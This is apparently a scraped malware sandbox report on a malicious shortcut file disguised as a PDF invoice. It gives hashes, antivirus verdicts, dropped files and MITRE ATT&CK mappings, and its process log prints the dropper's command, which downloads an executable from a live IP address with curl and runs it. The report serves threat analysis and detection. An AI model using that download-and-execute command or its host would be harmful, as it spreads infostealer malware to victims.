4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000180100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...4d:T11fc,"_imaging.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\PIL\_imaging.cp312-win_amd64.pyd]- [targetUID: 00000000-00001384] "win32ui.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Pythonwin\win32ui.pyd]- [targetUID: 00000000-00007420] "_ec_ws.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_ec_ws.pyd]- [targetUID: 00000000-00007420] "_webp.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\PIL\_webp.cp312-win_amd64.pyd]- [targetUID: 00000000-00007420] "_imagingcms.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\PIL\_imagingcms.cp312-win_amd64.pyd]- [targetUID: 00000000-00007420] "_ed448.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_ed448.pyd]- [targetUID: 00000000-00007420] "_curve448.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_curve448.pyd]- [targetUID: 00000000-00007420] "_raw_des3.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_des3.pyd]- [targetUID: 00000000-00007420] "_raw_des.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_des.pyd]- [targetUID: 00000000-00007420] "_raw_aes.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_aes.pyd]- [targetUID: 00000000-00001384] "_modexp.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Math\_modexp.pyd]- [targetUID: 00000000-00007420] "_SHA384.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA384.pyd]- [targetUID: 00000000-00007420] "_SHA512.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA512.pyd]- [targetUID: 00000000-00007420] "_imagingmath.cp312-win_amd64.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\PIL\_imagingmath.cp312-win_amd64.pyd]- [targetUID: 00000000-00001384] "_raw_cast.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_cast.pyd]- [targetUID: 00000000-00007420] "_ed25519.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_ed25519.pyd]- [targetUID: 00000000-00007420] "_SHA224.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA224.pyd]- [targetUID: 00000000-00007420] "_SHA256.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA256.pyd]- [targetUID: 00000000-00001384] "_raw_eksblowfish.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_eksblowfish.pyd]- [targetUID: 00000000-00007420] "_raw_blowfish.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_blowfish.pyd]- [targetUID: 00000000-00007420] "_curve25519.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\PublicKey\_curve25519.pyd]- [targetUID: 00000000-00007420] "_SHA1.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_SHA1.pyd]- [targetUID: 00000000-00001384] "_raw_ocb.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_ocb.pyd]- [targetUID: 00000000-00007420] "_MD5.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Hash\_MD5.pyd]- [targetUID: 00000000-00007420] "_raw_aesni.pyd" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 6 sections"- Location: [%TEMP%\_MEI74202\Cryptodome\Cipher\_raw_aesni.pyd]- [targetUID: 00000000-00001384]4e:T5d2,Spawned process "cmd.exe" with commandline "/c echo curl -L "http://41.216.188.11:8000/ova.exe" -o "%TEMP%\\mas.bat"&& start /b "" "%TEMP%\\mas.bat"" (UID: 00000000-00003320) Spawned process "cmd.exe" with commandline "/K "%TEMP%\\mas.bat"" (UID: 00000000-00002964) Spawned process "curl.exe" with commandline "curl -L "http://41.216.188.11:8000/ova.exe" -o "%PUBLIC%\\pld.com"" (UID: 00000000-00002704) Spawned process "pld.com" (UID: 00000000-00007420) Spawned process "pld.com" (UID: 00000000-00001384) Spawned process "identity_helper.exe" with commandline "--type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --skip-read-main-dll --metrics-shmem-handle=6376,i,9378095272450598270,4859040138726520193,524288 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708997556373682 --mojo-platform-channel-handle=6380 /prefetch:14" (UID: 00000000-00005996) Spawned process "identity_helper.exe" with commandline "--type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --skip-read-main-dll --metrics-shmem-handle=6376,i,9378095272450598270,4859040138726520193,524288 --field-trial-handle=2500,i,6697628852991788818,5245986409600589209,262144 --variations-seed-version --trace-process-track-uuid=3190708997556373682 --mojo-platform-channel-handle=6380 /prefetch:14" (UID: 00000000-00006496)4f:T643,GET /c.gif?Red3=EdgPID_pd&pid=791fa849-2d7d-4fb8-8d97-bae4966f4034 HTTP/1.1 Host: c.bing.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Edg/145.0.0.0 Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: MUID=1AE4B047598664C21732A3D4580265CB; SRM_B=1AE4B047598664C21732A3D4580265CB; SRM_M=1AE4B047598664C21732A3D4580265CB; SRCHD=AF=ANAB01; SRCHUID=V=2&GUID=4C873940F8A64BA9B73B2DA4AB42AE12&dmnchg=1; USRLOC=HS=1&ELOC=LAT=40.73590850830078|LON=-74.00215148925781|N=Manhattan%2C%20New%20York|ELT=9|&BID=MjYwMjAxMDYwNDEwXzBkMmYwMGFiOTYwOGVkOWYxNzc1ZDk2Njc5YWQ0N2YwNjhiYmI4MTUxYmExYmNmNDFhOWRkZTk3N2RlNDMxNGQ=; _RwBf=r=0&ilt=1&ihpd=0&ispd=1&rc=5&rb=0&rg=200&pc=0&mtu=0&rbb=0&clo=0&v=1&l=2026-02-01T08:00:00.0000000Z&lft=0001-01-01T00:00:00.0000000&aof=0&ard=0001-01-01T00:00:00.0000000&rwdbt=0&rwflt=0&rwaul2=0&g=&o=2&p=&c=&t=0&s=0001-01-01T00:00:00.0000000+00:00&ts=2026-02-01T14:02:40.2863791+00:00&rwred=0&wls=&wlb=&wle=&ccp=&cpt=&lka=0&lkt=0&aad=0&TH=&cid=0&gb=; SRCHHPGUSR=SRCHLANG=en&IG=E747A5ECDA6441EE9477C64F0C4D2EF1&PREFCOL=0&BRW=M&BRH=S&CW=1272&CH=674&SCW=1257&SCH=2836&DPR=1.0&UTC=-480&B=0&EXLTT=1&AV=14&ADV=14&RB=0&MB=0&HV=1769954561&HVE=CfDJ8HAK7eZCYw5BifHFeUHnkJExtXhTjLeshJeP5VRTzS74UxGLX2ppAO67pdNwQy3UmUriJvEKEAor530NjXopprmROLwKNrK2XBjWuX9xa8hIWhBBvSQgjx3MoVtEb2w5zjzrbwUVOKktSXiknctJ6LPB1IUxTMt-uPdQaRqlOI60pGmA4LIwayvgYUrHpPyi9Q; SRCHUSR=DOB=20260201&DS=150:T5f4,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAEPklEQVR4Xu2Wy28bVRTGvUUgmrJkBYIdC6QsWIMQexb9A6gEGzZlxbKqk9hxQsBxyYYkdhLHiUQlWlB4h0dS2rSQQkqIAonfdvx+jJ2miZ/5OGc8dzozGRvbgh1H+unOzLXu951z7h2PxfJ/mMTy8jKWlpbg8y1h0efD4uIivF4vFhYWMD+/gLn5eXjm5uDxeOB2ezDrdmNmdhbTMzP4aHqafufF1NQUjOt2HSzebDZNaQgaPDZaY6M1np6egs1nMhl4yXTfJjhzFqvX66gJai2qtRpBY5XHGio0VipVeWQjbODo6AhpMjFH1XL2Y4LL3mye9m2gXC5DkiTE43G4qU1Op7M3E9xzrsDKykpPCAOFQgG5XA7pdBrBYFDeG0aNjsEbjg2YZ6+tQCtzYwUmJiZ0uK5+2JsB3u2yAUW4hRCvtcRZWDOeyCaqiEZjCIUjCmH5ftJ1tTcDfNT6aYEZ9XoDzklXbwb4nPNRe1Ryfenlsptkz63ga5WTimJgsjcD/JLRG1B6rhHX9p7FZRM6AxXVwAfdnoKvLOdw0zIgs65hTcOPxA/0O8H3Ct9pWNXwLfGNwnXCqKkLFi5bnkKJkBSKREEhT+Qs52WyREYhrZAikkRC4YCIK8QINmHU1AUb+K/Ema//yQCXW4gfXbgIbdRW12Tx8oU3dM+r9Dw/+LIqXrt3X51rFiVVPEpwi42auhAGOPMHioHS4Cs4VERZvKRcF0g0O/CsLNgIhtXM+f742qe6zFk80q0BUXZhQCIhYUB69XWdAS576a135Ps8zXHZq4oBo3hXBniXi54fGlrw4F2r3HNhQJQ9SyNHgZ5z1mxABF8L8TCt/aWZgUzmEOlcGSkmW0KSSGQkmYN0EfFUEbFUAdEkkcgj5bsuL54jYS65pFQgSxUQBh5SBbSZs3ionQEW7SWCsZw8cuYpZQ+wqOi5MGAUb2uAM+0l/JGM7p77nSAjoudaA1rxIPGFmQEurzbK1SZeu5HCSx8nZQZ9B3h7NavO74XSbc+5WdmFeKCdgQj11RiX70q4tJ7HczNRDEyG8MJ0RJ3bDST7Emc+NzMQird6agzHnSLOvR/A084AnncF1ec7+wn13S7gNxwfMQH3WsBZMyx+zfLkWQP+qL6nHKMbRTwx7of9VgEXP0ngmfF9dW77rziO6V/u+PgED7uAv6iGRmxnhUXshdMaacB+u4DHHfuw3Wy15tJKCi+6Aur81m7szEdHJ9iAdXikvYHdYFJd3PZTHo/Z9jCyrt8X0klTvf51J3Imy06wgStDw+0N7PgT6uJvfpbC8Jr5nhDxy3b40cdql1yxDrU3sL0XN2p0jLv3Qxgbfw+OsXGMOsZgdzhgGyXsoxix2TFss8k957Jz5ix+2Wptb2Drz5hRo2Ns/BZov1g/sUklvfdHBJsMXXOJf/49JGd6ZyuIDYZEbyvc2vT/qwb+Bu/5gqf2zmvIAAAAAElFTkSuQmCC1b:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$23"}}],["$","$L24",null,{"initialData":{"schema_version":"1.0.15","sha256":"45171981ac23dcb7e90dd9a3ce07415720be92815bcd2ccfe51e716d736eab3e","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1791326107703,"unified_at":"2026-10-06T22:35:07.703Z","metadata":{"hashes":{"sha256":"45171981ac23dcb7e90dd9a3ce07415720be92815bcd2ccfe51e716d736eab3e","sha1":"a8495760f9910e89d63a96498da1b9f61652b8da","md5":"ad3d0b53f8eb6b05ee9623b16a7e0f30","sha512":"bee99806483bef9c065a99b577ef91f207aa077a5c9bdb664f43b472a8ccd6015949a63691819f173cee8af9f792b2a5f6b3e1023d29cd7932a42a02a8d75467","ssdeep":"48:8EOWQ576M/xwa1yTATSd08XuH+cyDCK1CCXv3yNYYk:8EBQ5763aUTATBGuevDrv4YY","ssdeep_chunks":["48:8EOWQ57","48:EOWQ576","48:OWQ576M","48:WQ576M/","48:Q576M/x","48:576M/xw","48:76M/xwa","48:6M/xwa1","48:M/xwa1y","48:/xwa1yT","48:xwa1yTA","48:wa1yTAT","48:a1yTATS","48:1yTATSd","48:yTATSd0","48:TATSd08","48:ATSd08X","48:TSd08Xu","48:Sd08XuH","48:d08XuH+","48:08XuH+c","48:8XuH+cy","48:XuH+cyD","48:uH+cyDC","48:H+cyDCK","48:+cyDCK1","48:cyDCK1C","48:yDCK1CC","48:DCK1CCX","48:CK1CCXv","48:K1CCXv3","48:1CCXv3y","48:CCXv3yN","48:CXv3yNY","48:Xv3yNYY","48:v3yNYYk","96:8EOWQ57","96:EOWQ576","96:OWQ576M","96:WQ576M/","96:Q576M/x","96:576M/xw","96:76M/xwa","96:6M/xwa1","96:M/xwa1y","96:/xwa1yT","96:xwa1yTA","96:wa1yTAT","96:a1yTATS","96:1yTATSd","96:yTATSd0","96:TATSd08","96:ATSd08X","96:TSd08Xu","96:Sd08XuH","96:d08XuH+","96:08XuH+c","96:8XuH+cy","96:XuH+cyD","96:uH+cyDC","96:H+cyDCK","96:+cyDCK1","96:cyDCK1C","96:yDCK1CC","96:DCK1CCX","96:CK1CCXv","96:K1CCXv3","96:1CCXv3y","96:CCXv3yN","96:CXv3yNY","96:Xv3yNYY","96:v3yNYYk","48:8EBQ576","48:EBQ5763","48:BQ5763a","48:Q5763aU","48:5763aUT","48:763aUTA","48:63aUTAT","48:3aUTATB","48:aUTATBG","48:UTATBGu","48:TATBGue","48:ATBGuev","48:TBGuevD","48:BGuevDr","48:GuevDrv","48:uevDrv4","48:evDrv4Y","48:vDrv4YY"],"imphash":"Unknown"},"file_info":{"file_name":"agreement-inovice.pdf.lnk","file_type":["lnk"],"file_type_id":"file link","file_size":2974,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1781003645000,"last_seen":1781088138000,"last_multi_scan":1781088138000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["exploit","downloader","infostealer","evasive"]},"stats":{"av":{"malicious_count":10,"suspicious_count":0,"total_engines":26},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":94},"sandbox_signatures":{"informative_count":164,"suspicious_count":19,"malicious_count":15,"total":198},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"Trojan/LNK.Agent.cmd","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"malicious","threat_name":"TR/Malware","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Exploit.Lnk-Dropper.Gen.1","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"malicious","threat_name":"Lnk.Downloader.HTAAgent-9989400-0","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"malicious","threat_name":"LNK_Agent_ACC_trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"malicious","threat_name":"Exploit.Lnk-Dropper.Gen.1 (B)","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"LNK/Agent.ACC trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"malicious","threat_name":"TrojanDownloader/LNK.Maloader.a","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"malicious","threat_name":"Troj/DownLnk-AW","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"malicious","threat_name":"Trojan.LNK.Heur.A","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Exploit.Lnk","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to execute Windows APIs"},{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Calls an API typically used to create a process"},{"type":"informative","value":"Contains ability to create a new process (API string)"},{"type":"informative","value":"Contains ability to retrieve the fully qualified path of module (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"malicious","value":"Calls an API typically used to execute an application"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Executes echo command"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Writes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"suspicious","value":"Queries process mitigation policy via NtQueryInformationProcess"},{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Loads the Bcrypt module DLL"},{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"YARA signature match - AES encryption"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"LNK Icon Smuggling","attack_id":"T1027.012","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/012","sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Spawns new processes"},{"type":"malicious","value":"Opens a handle of credential dumping utility"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Able to retrieve/open a process (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Spawns new processes that are not known child processes"},{"type":"malicious","value":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to retrieve files based on search patterns"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to retrieve list of files and subdirectories"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Queries registry keys"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Opens registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6a293f8a74c31238f70d6a67"},{"report_type":"sandbox","report_id":"6a27f57c92808adf8602c53c"}]},{"tactic":"Discovery","technique":"System Information 